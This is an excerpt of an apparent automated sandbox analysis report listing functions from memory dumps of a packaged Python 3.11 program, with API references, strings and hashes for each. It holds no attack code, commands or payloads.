Opcode ID: 58c77929247e69b2700a71a13f46cd48252ae07743b59a928d119bf549124666
Instruction ID: 1c761616f10ccb3ab6d656a7c9439cc6f4210b2342b35a5b6ee930e82d06ffc1
Opcode Fuzzy Hash: 58c77929247e69b2700a71a13f46cd48252ae07743b59a928d119bf549124666
Instruction Fuzzy Hash: BD014F20F09AC681FE059F2DE8992B52B61AF60BE5F404037CB0E462A1DE6CE587C311

Function 00007FF8BA242818 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA2428D0
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA2428EE
__AdjustPointer.LIBCMT ref: 00007FF8BA24292F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA24293C
__AdjustPointer.LIBCMT ref: 00007FF8BA242978
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA24298D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA2429D2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA2429D9

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
Instruction ID: 5eb730a58a0f455b046cd3b06578bb4a433d0dc306ea917f36e8c233b1cfe7be
Opcode Fuzzy Hash: cf0ce418dbf8095189d4875bbd922365259c44d693191a2e82a2bfde5589004d
Instruction Fuzzy Hash: 17518E32E0AA4381FA65DB1A965463C6394FF54FC4F1A84B6DF4E06795DF2CE842E320

Function 00007FF8BA2429FC Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242AB6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242AD5
__AdjustPointer.LIBCMT ref: 00007FF8BA242B16
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242B23
__AdjustPointer.LIBCMT ref: 00007FF8BA242B5F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242B74
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242BB9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA242BC0

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
Instruction ID: 72ddbded6492c9c4ddf1e819fea62d245303afc2435e7f9d09cb327740514549
Opcode Fuzzy Hash: 33b9a28e85c1583a9e53f416898540066328f1663c9e5eff4cdc8514e51169f9
Instruction Fuzzy Hash: CE518F21E0AB5381FA69DF1A954463867A6EF44FC0F0984BADF4D0A785DF2CE442E710

Function 00007FF8B9F6F990 Relevance: 12.1, APIs: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PyMem_Free.PYTHON311 ref: 00007FF8B9F6F9AE
PyMem_Free.PYTHON311 ref: 00007FF8B9F6F9BB
PyMem_Free.PYTHON311 ref: 00007FF8B9F6F9D0
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F6FAA6
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F6FAE5
memcpy.VCRUNTIME140 ref: 00007FF8B9F6FB0C
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F6FB27
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F6FB36

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Mem_$FreeMalloc$Err_Memorymemcpy
String ID:
API String ID: 920471837-0
Opcode ID: c91e9501240dbb047462beff57c3e24aa08f07d97696b8881faa54e688d9ffaf
Instruction ID: 52a04d0a4e1eaf2f8bfb8f869ad7c17d811aad3a6eebf395967b84376a047219
Opcode Fuzzy Hash: c91e9501240dbb047462beff57c3e24aa08f07d97696b8881faa54e688d9ffaf
Instruction Fuzzy Hash: 4E512D22A09FC592EB898F39D5503B82360FB59BA5F18A235CF5D17396DF38A0E5C310

Function 00007FF8B9F62894 Relevance: 12.1, APIs: 8, Instructions: 105COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6756E
PyTuple_New.PYTHON311 ref: 00007FF8B9F67585
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6759C

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Tuple_
String ID:
API String ID: 828192933-0
Opcode ID: 5e62f5604a1117c70738b5e9d10e81d038eb8c1c9d08bc44558772b595a0c4de
Instruction ID: e140c8c18574392cecc0d58c3ccd9bb0a951395c1f62ba04e911bdca46ebab4c
Opcode Fuzzy Hash: 5e62f5604a1117c70738b5e9d10e81d038eb8c1c9d08bc44558772b595a0c4de
Instruction Fuzzy Hash: 9C418372909BC285EEA58F2DE8046792690FF46BEAF086135DF4D46768DF3DE494C700

Function 00007FF8B9F61178 Relevance: 12.1, APIs: 8, Instructions: 95COMMON

Download Yara Rule

APIs

_PyDict_ContainsId.PYTHON311 ref: 00007FF8B9F61E1D
PyDict_Update.PYTHON311 ref: 00007FF8B9F61E5B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F61E7E
_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F61EB7
_PyObject_SetAttrId.PYTHON311 ref: 00007FF8B9F61ECF
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F61EF0
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F66FA7

Part of subcall function 00007FF8B9F622B0: _PyObject_MakeTpCall.PYTHON311 ref: 00007FF8B9F62301

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dict_$DeallocObject_$AttrCallContainsErr_ErrorItemMakeOccurredUpdateWith
String ID:
API String ID: 3953964043-0
Opcode ID: 514ed9f4908b8c8283f0e0c27daf6479cf123024387674585ac24fe74f6d228d
Instruction ID: d92c6f4d14ae222298bbcdd75575a61605287c7f4f624fc96b5f1f46b8b4cebe
Opcode Fuzzy Hash: 514ed9f4908b8c8283f0e0c27daf6479cf123024387674585ac24fe74f6d228d
Instruction Fuzzy Hash: 4A411531F09BC281EA558F6DE9542B936A0AF46BF6F08A134DB4E467A5EF2CF445C300

Function 00007FF8B9F64D38 Relevance: 12.1, APIs: 8, Instructions: 78COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F64DC6

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc
String ID:
API String ID: 3617616757-0
Opcode ID: 068abb66bbfb9b3a2a685b208f6aebfac36357060354af221ed5b1c6e4112d13
Instruction ID: f39f222f56f319980a3fbb51ac882de6816f6b37d56c5036418f828c9c07815a
Opcode Fuzzy Hash: 068abb66bbfb9b3a2a685b208f6aebfac36357060354af221ed5b1c6e4112d13
Instruction Fuzzy Hash: B231E972E09B8681FF95AF78C85437823A8EF5AFBAF186134CB0E45295CF2DA545D300

Function 00007FF8B9074010 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B90740B0
GetMappedFileNameW.PSAPI ref: 00007FF8B90740E0
VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandleQueryVirtual$FileMappedName
String ID: (KsOI)
API String ID: 1759508357-341566991
Opcode ID: 10afd08fc0d88ef5c7b41b69109da1ab331d51090cdaa12fa3b0d99e8a822f8a
Instruction ID: 1af3faa9140896b3ad2b93434ed599eaf4331ae420d4949250b71afb3f7fb253
Opcode Fuzzy Hash: 10afd08fc0d88ef5c7b41b69109da1ab331d51090cdaa12fa3b0d99e8a822f8a
Instruction Fuzzy Hash: 50519A21A09AC681EE649F29A8583B97BA5BF64BE1F484131DF1E43794EF3CE417C700

Function 00007FF8BA2457C0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA245889
_local_unwind.LIBVCRUNTIME ref: 00007FF8BA24592C

Strings

MOC, xrefs: 00007FF8BA245802
RCC, xrefs: 00007FF8BA24580E
csm, xrefs: 00007FF8BA245824
csm, xrefs: 00007FF8BA24596F

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: FileHeader_local_unwind
String ID: MOC$RCC$csm$csm
API String ID: 2627209546-1441736206
Opcode ID: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
Instruction ID: a6c3ec370df7c86fd29db42ee54ec4c4dd997a1d82bd784b4f241ea599061e7d
Opcode Fuzzy Hash: 48d146a85fba6cc68383d4a357e19a92ddcb549a58e0a70336f33e234ca841ed
Instruction Fuzzy Hash: 09517B72A08A1386EB609F29914137D26A0FF84FE4F1410B6EF8D57795CF3CE885E641

Function 00007FF8BA24E520 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24E594
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24E5A3

Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C81D
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24C856
Part of subcall function 00007FF8BA24C78C: DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24CB83

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24E643
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24E653
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24E6FF

Strings

{for , xrefs: 00007FF8BA24E5CC

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: 416ecf82abdc7693f83b664dab0e642ebc660969777f9551cf3e7d4c265d34da
Instruction ID: aee99267168ab37c7a47761def1a063050a34bb7dfe0ea8b3f99dfa45b765643
Opcode Fuzzy Hash: 416ecf82abdc7693f83b664dab0e642ebc660969777f9551cf3e7d4c265d34da
Instruction Fuzzy Hash: 90513972A08A86A9F7119F28D5413E877A1FB44B88F8480B1EF5C4BB99DF7CE654D340

Function 00007FF8B9F62050 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67003
PyObject_IsInstance.PYTHON311 ref: 00007FF8B9F67015
_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F670CE
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F670FC

Part of subcall function 00007FF8B9F63DC0: _PyObject_New.PYTHON311(?,?,?,?,00007FF8B9F646A2,?,?,?,00007FF8B9F61959), ref: 00007FF8B9F63DCB

Strings

wrong type, xrefs: 00007FF8B9F67116

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Object_$Dealloc$AttrInstanceLookup
String ID: wrong type
API String ID: 1828014136-2191655096
Opcode ID: 48019a5db2fa545bbb614ff61a29e7f0ff849fa01fd9e197cdd365b54569e53e
Instruction ID: b574488f9e3fb358f3ae75cbd40ee923ac78dad541b87856dea6562da0d08583
Opcode Fuzzy Hash: 48019a5db2fa545bbb614ff61a29e7f0ff849fa01fd9e197cdd365b54569e53e
Instruction Fuzzy Hash: B5514821A09B8391FE509F2DE95017967A0AF85BE2F186431DB4E877A5EF3CF450C350

Function 00007FF8B9F6BE84 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BF0F

Strings

wrong type, xrefs: 00007FF8B9F6C02C

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc
String ID: wrong type
API String ID: 3617616757-2191655096
Opcode ID: bdb23b902ebc4893c2a5809fa917940e2479e1e06ed5718a6fa12672c04d635d
Instruction ID: 2cadc50c7c40c5c27fa57efbcffa86c98346a377ace34ed34412fea78985c1a9
Opcode Fuzzy Hash: bdb23b902ebc4893c2a5809fa917940e2479e1e06ed5718a6fa12672c04d635d
Instruction Fuzzy Hash: 6F516A21A1DBC391FE549F6DE85017867A0AF84BE2F486131DB0E877A5EF2CE841C300

Function 00007FF8B90C9CC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FF8B90C9D14
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B90C9D4D
memmove.VCRUNTIME140 ref: 00007FF8B90C9D8D
_Py_Dealloc.PYTHON311 ref: 00007FF8B90C9DA4

Strings

Unable to allocate output buffer., xrefs: 00007FF8B90CC55C

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Dealloc$Bytes_FromSizeStringmemmove
String ID: Unable to allocate output buffer.
API String ID: 3327154725-2565006440
Opcode ID: 9c30319a8999428dde325e815d48d283bad5c3e6560c2351fca3ed9412fd7cc3
Instruction ID: 2cd0427d66a57557cdf6d4c4033b6437879e2666a363dbac371fe4572cb5048f
Opcode Fuzzy Hash: 9c30319a8999428dde325e815d48d283bad5c3e6560c2351fca3ed9412fd7cc3
Instruction Fuzzy Hash: 5D4147B2A08A8291EF168F1AD54426973B1FB48FE4F584432DF1E57756CF38E49AC300

Function 00007FF8BA24DB00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8BA24D217), ref: 00007FF8BA24DBC4
DName::DName.LIBVCRUNTIME ref: 00007FF8BA24DBE3

Strings

`template-parameter, xrefs: 00007FF8BA24DBF1
void, xrefs: 00007FF8BA24DB46

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 7b7e14213947c3780e213c190a7c5fdcdd2a49ff05635447eaaef3bd9456bf2e
Instruction ID: 68c90b06deacce168a972a8b198dfcc8235cd9a5c791779ef5df6e317537033f
Opcode Fuzzy Hash: 7b7e14213947c3780e213c190a7c5fdcdd2a49ff05635447eaaef3bd9456bf2e
Instruction Fuzzy Hash: 52413622F18B5698FB008BA8D8512BC23B1BF48BC8F9841B6DF0D27A59DF7CA545D340

Function 00007FF8BA248900 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BA24874C: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BA2487CB

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA2489B2

Strings

<ellipsis>, xrefs: 00007FF8BA2489FF
void, xrefs: 00007FF8BA248A24
,..., xrefs: 00007FF8BA248980
..., xrefs: 00007FF8BA2489EF
,<ellipsis>, xrefs: 00007FF8BA248990

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 1405650943-2211150622
Opcode ID: 463b429a368d480f938697e6d099cec3f907049628b5d1349ecbd199c78a6655
Instruction ID: f4977681498b99bad9e124ff31f977ce293d849754e50b0eadbf9aaec4613c2a
Opcode Fuzzy Hash: 463b429a368d480f938697e6d099cec3f907049628b5d1349ecbd199c78a6655
Instruction Fuzzy Hash: 2A4149B2E28B8698F7158B6CD9402BC37A0BB08B88F5885B5CF4C16794DF7DA545E701

Function 00007FF8BA24A6E4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A7D5

Strings

long , xrefs: 00007FF8BA24A749
char , xrefs: 00007FF8BA24A770
unsigned , xrefs: 00007FF8BA24A7A9
int , xrefs: 00007FF8BA24A758
short , xrefs: 00007FF8BA24A767

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: 01c330b6d3460536b725c75710ede4031362a47bdaf6c5878ce89829e4b6ba2f
Instruction ID: b9e73a66295a0a1c68104a5b9e6b6d7823437072ea424affaedb013e7fced90d
Opcode Fuzzy Hash: 01c330b6d3460536b725c75710ede4031362a47bdaf6c5878ce89829e4b6ba2f
Instruction Fuzzy Hash: 92315876E18A5688F7228B2DC8543BC27B0BB09B88F5481B1DF0C06AA9DF3DE544E750

Function 00007FF8B9841090 Relevance: 10.6, APIs: 7, Instructions: 62COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON311 ref: 00007FF8B98410A6
_Py_Dealloc.PYTHON311 ref: 00007FF8B984110D

Memory Dump Source

Source File: 00000002.00000002.2073245464.00007FF8B9841000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8B9840000, based on PE: true

Associated: 00000002.00000002.2073221006.00007FF8B9840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073274420.00007FF8B9843000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073310530.00007FF8B9845000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2073339457.00007FF8B9846000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9840000_mav17final.jbxd

Similarity

API ID: DeallocModule_State
String ID:
API String ID: 1903735390-0
Opcode ID: a7a767094c4d1de27d1ae5cfedc4f2a8987a46609b88e723d83c121dba346a55
Instruction ID: 8c02c90a3d58d396218045a86b2e477b010846db4d7c03cb25fb2e9fa593eb21
Opcode Fuzzy Hash: a7a767094c4d1de27d1ae5cfedc4f2a8987a46609b88e723d83c121dba346a55
Instruction Fuzzy Hash: 9821E532F0DAC385FF6A8F79985933822A4AF65B99F148035DB0E86384DF2DA544C300

Function 00007FF8B9F6D8F8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON311 ref: 00007FF8B9F6D92C
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F6D942
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6D951
PyErr_Format.PYTHON311 ref: 00007FF8B9F6D988

Strings

byref, xrefs: 00007FF8B9F6D91A
byref() argument must be a ctypes instance, not '%s', xrefs: 00007FF8B9F6D96F

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Arg_FormatNumber_OccurredSsize_tTupleUnpack
String ID: byref$byref() argument must be a ctypes instance, not '%s'
API String ID: 169608245-1446499295
Opcode ID: 1c7a6bb527df66017d67d4d6c8e7051229e04b236d9d6aec440ba77389511a69
Instruction ID: 1dccd19e82b89bf7f819875eec7ce89047d76e2fc829b3e890e7189f8bd56728
